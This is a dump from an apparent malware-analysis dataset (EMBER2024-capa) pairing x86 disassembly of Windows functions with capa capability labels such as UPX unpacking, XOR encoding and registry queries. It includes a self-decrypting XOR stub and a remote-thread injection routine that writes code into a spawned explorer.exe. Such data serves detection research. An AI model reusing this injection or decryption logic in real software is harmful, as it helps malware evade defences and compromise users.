joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d4eb0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
push edi
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [0x559300]
mov edi, eax
add esp, 4
test edi, edi
jne 0x4d4ed7
pop edi
pop esi
pop ecx
ret
lea ecx, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], ecx
mov eax, dword [esi + 0xc]
add eax, ecx
push ebx
mov ebx, dword [esp + 0x1c]
mov dword [edi + 8], eax
push ebp
cmp ebx, dword [esi + 0x10]
jbe 0x4d4f1f
mov eax, dword [esi]
push ecx
call eax
mov eax, dword [esi + 4]
push ebx
push dword [esp + 0x24]
push dword [edi + 4]
call eax
mov ebp, dword [edi + 8]
push dword [edi + 4]
add ebp, dword [esi + 0xc]
mov eax, dword [esi + 8]
push ebp
call eax
mov ebx, dword [esi + 0x14]
add esp, 0x18
mov dword [esp + 0x20], ebx
jmp 0x4d4f23
mov ebp, dword [esp + 0x1c]
push dword [edi + 4]
mov eax, dword [esi]
call eax
push dword [edi + 8]
mov eax, dword [esi]
call eax
mov eax, dword [esp + 0x28]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x4d4f83
mov dword [esp + 0x10], eax
mov ebx, eax
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x18], al
lea eax, [esp + 0x18]
push 1
push eax
push dword [edi + 4]
mov eax, dword [esi + 4]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x24], al
lea eax, [esp + 0x24]
push 1
push eax
push dword [edi + 8]
mov eax, dword [esi + 4]
call eax
add esp, 0x18
dec ebx
jne 0x4d4f44
mov ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0x10]
jae 0x4d4fb7
jmp 0x4d4f90
mov eax, dword [esi + 4]
push 1
push 0x52bda6
push dword [edi + 4]
call eax
mov eax, dword [esi + 4]
push 1
push 0x52bda7
push dword [edi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [esi + 0x10]
jb 0x4d4f90
pop ebp
pop ebx
mov eax, edi
pop edi
pop esi
pop ecx
ret

Function at 0x4dbb27
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x4ffced
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x559910]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004e54e6
mov dword [ebp - 0x14], eax
cmp dword [0x563194], esi
jne 0x4ffde0
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4ffd6d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4ffec0
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x4ffec0
push 0x535d24
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4ffec0
push eax
call ebx
push 0x535d30
push edi
mov dword [0x563194], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x563198], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x56319c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5631a4], eax
test eax, eax
je 0x4ffddd
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5631a0], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4ffe05
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4ffdf8
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x4ffe1a
push 4
pop eax
jmp 0x4ffec2
cmp dword [ebp - 0x14], esi
je 0x4ffe1a
push dword [0x563194]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4ffdff
mov eax, dword [0x5631a0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4ffe78
cmp dword [0x5631a4], edi
je 0x4ffe78
push eax
call ebx
push dword [0x5631a4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4ffe78
test eax, eax
je 0x4ffe78
call ecx
test eax, eax
je 0x4ffe6d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4ffe6d
test byte [ebp - 8], 1
jne 0x4ffe78
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4ffea8
mov eax, dword [0x563198]
cmp eax, edi
je 0x4ffea5
push eax
call ebx
test eax, eax
je 0x4ffea5
call eax
mov esi, eax
test esi, esi
je 0x4ffea5
mov eax, dword [0x56319c]
cmp eax, edi
je 0x4ffea5
push eax
call ebx
test eax, eax
je 0x4ffea5
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x563194]
call ebx
test eax, eax
je 0x4ffec0
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x4ffec2
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004d6710
mov esp, ebp
pop ebp
ret
Function at 0x492420
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x5c000]
push edi
jmp 0x49243a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x492441
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x492430
mov eax, 1
add ebx, ebx
jne 0x492453
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x492464
jne 0x492483
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x492483
dec eax
add ebx, ebx
jne 0x492470
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x492448
add ebx, ebx
jne 0x49247f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4924d5
xor ecx, ecx
sub eax, 3
jb 0x49249b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x49250a
sar eax, 1
mov ebp, eax
jmp 0x4924a6
add ebx, ebx
jne 0x4924a6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x492474
inc ecx
add ebx, ebx
jne 0x4924b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x492474
add ebx, ebx
jne 0x4924c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4924b6
jne 0x4924d2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4924b6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4924f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4924e6
jmp 0x492436
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4924f4
add edi, ecx
jmp 0x492436
pop esi
mov edi, esi
mov ecx, 0x2f9c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x492512
cmp byte [edi], 0x1a
jne 0x492512
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x492517
lea edi, [esi + 0x8f000]
mov eax, dword [edi]
or eax, eax
je 0x49258f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x93450]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x93568]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x492544
mov ecx, edi
jns 0x492573
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x9356c]
or eax, eax
je 0x492589
mov dword [ebx], eax
add ebx, 4
jmp 0x492561
call dword [esi + 0x9357c]
mov ebp, dword [esi + 0x93570]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4925c3
sub esp, 0xffffff80
jmp 0x450d6d

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x198ccf0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x13ce000]
push edi
or ebp, 0xffffffff
jmp 0x198cd12
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x198cd19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x198cd08
mov eax, 1
add ebx, ebx
jne 0x198cd2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x198cd3c
jne 0x198cd5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x198cd5b
dec eax
add ebx, ebx
jne 0x198cd48
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x198cd20
add ebx, ebx
jne 0x198cd57
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x198cdad
xor ecx, ecx
sub eax, 3
jb 0x198cd73
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x198cde2
sar eax, 1
mov ebp, eax
jmp 0x198cd7e
add ebx, ebx
jne 0x198cd7e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x198cd4c
inc ecx
add ebx, ebx
jne 0x198cd8c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x198cd4c
add ebx, ebx
jne 0x198cd99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x198cd8e
jne 0x198cdaa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x198cd8e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x198cdcc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x198cdbe
jmp 0x198cd0e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x198cdcc
add edi, ecx
jmp 0x198cd0e
pop esi
mov edi, esi
mov ecx, 0x20752
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x198cdea
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x198cdef
lea edi, [esi + 0x1588000]
mov eax, dword [edi]
or eax, eax
je 0x198ce57
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x242d904]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x242da48]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x198ce15
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x242da50]
or eax, eax
je 0x198ce51
mov dword [ebx], eax
add ebx, 4
jmp 0x198ce32
call dword [esi + 0x242da4c]
mov ebp, dword [esi + 0x242da54]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x198ce8b
sub esp, 0xffffff80
jmp 0x9b1c38
Function at 0x401480
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x48], 0x44
push 0x40
push 0
lea eax, [ebp - 0x44]
push eax
call fcn.004027e0
add esp, 0xc
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x48]
push edx
push 0
push 0
push 0x8000044
push 0
push 0
push 0
push str.explorer.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4014d6
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x58]
jmp 0x4014d8
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4014f0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [0x413070]
xor eax, ebp
mov dword [ebp - 0xc], eax
call fcn.00401480
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
jne 0x40151e
xor eax, eax
jmp 0x4016ff
push 0x40
push 0x3000
push 0x198
push 0
mov eax, dword [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
jne 0x40155c
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4016ff
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x134]
add edx, 0x80
mov dword [ebp - 0x190], edx
push 0x40f324
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x128], eax
push 0x40f318
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x124], eax
push 0x40f30c
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x11c], eax
push 0x40f300
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x120], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x12c], eax
push 2
push 0
push 0
lea ecx, [ebp - 0x118]
push ecx
mov edx, dword [ebp - 0x130]
push edx
mov eax, dword [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 0x104
lea edx, [ebp - 0x114]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 0x401430
call fcn.004014e0
add esp, 4
push eax
mov eax, dword [ebp - 0x134]
push eax
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0x118
lea edx, [ebp - 0x128]
push edx
mov eax, dword [ebp - 0x190]
push eax
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dl, byte [0x40f2f1]
mov byte [ebp - 0x188], dl
push 0x4f
push 0
lea eax, [ebp - 0x187]
push eax
call fcn.004027e0
add esp, 0xc
mov ecx, dword [ebp - 0x190]
push ecx
mov edx, dword [ebp - 0x134]
push edx
push str._x__x_n
lea eax, [ebp - 0x188]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x188]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 4], 0
lea edx, [ebp - 4]
push edx
push 0
mov eax, dword [ebp - 0x190]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0
je 0x4016fa
mov eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0040275f
mov esp, ebp
pop ebp
ret

Function at 0x40275f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x413070]
jne 0x402769
repz ret
jmp fcn.0040689c
Function at 0x40b399
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x413070]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040633f
and dword [ebp - 0x14], 0
cmp dword [0x4151a4], 0
mov dword [ebp - 0x18], eax
jne 0x40b44c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40b4f4
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40b4f4
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4151a4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4151a8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4151ac], eax
call edi
push eax
call esi
mov dword [0x4151b4], eax
test eax, eax
je 0x40b44c
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4151b0], eax
mov eax, dword [0x4151b0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40b4a5
cmp dword [0x4151b4], ecx
je 0x40b4a5
push eax
call esi
push dword [0x4151b4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40b4a5
test ebx, ebx
je 0x40b4a5
call edi
test eax, eax
je 0x40b49c
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40b49c
test byte [ebp - 8], 1
jne 0x40b4a5
or dword [ebp + 0x10], 0x200000
jmp 0x40b4d8
mov eax, dword [0x4151a8]
cmp eax, dword [ebp - 0x18]
je 0x40b4d8
push eax
call esi
test eax, eax
je 0x40b4d8
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40b4d8
mov eax, dword [0x4151ac]
cmp eax, dword [ebp - 0x18]
je 0x40b4d8
push eax
call esi
test eax, eax
je 0x40b4d8
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4151a4]
call esi
test eax, eax
je 0x40b4f4
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40b4f6
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040275f
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x420730
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x49a80b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0048ef4c
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4207b2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0048ca4d
mov eax, dword [eax]
push 0x923ccc
push eax
call fcn.0047f624
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0048f1d7
test bl, bl
je 0x4207b2
push 0x923ccc
lea ecx, [esp + 0xc]
call fcn.0048f567
push 0x923cd8
lea ecx, [esp + 0xc]
call fcn.0048f567
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4207ee
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0048f1d7
jmp 0x4208b9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x420872
lea edx, [esp + 0x7c]
push 0x923cd4
push edx
call fcn.0047f624
add esp, 8
test eax, eax
je 0x420872
lea eax, [esp + 0x7c]
push 0x923cd0
push eax
call fcn.0047f624
add esp, 8
test eax, eax
je 0x420872
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x420802
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0048f1d7
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x421b20
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x421b82
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x421b90
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x49a96b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x92d678]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x421cc8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x421bf6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048f1d7
xor eax, eax
jmp 0x421d3f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0048f314
push esi
lea ecx, [esp + 0xc]
call fcn.0048f5a3
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x421d1d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00421b20
test eax, eax
jne 0x421d1d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00421b20
test eax, eax
jne 0x421d1d
lea eax, [esp + 0x14]
push 0x923cf8
push eax
call fcn.004806a0
mov esi, eax
add esp, 8
test esi, esi
jne 0x421cfc
lea ecx, [esp + 0x14]
push 0x923cf4
push ecx
call fcn.00480620
mov esi, eax
add esp, 8
test esi, esi
jne 0x421cfc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x421cff
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0048f2c4
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x421c0e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048f1d7
xor eax, eax
jmp 0x421d3f
mov byte [esi], 0
push 0x923cf0
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0048f1d7
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4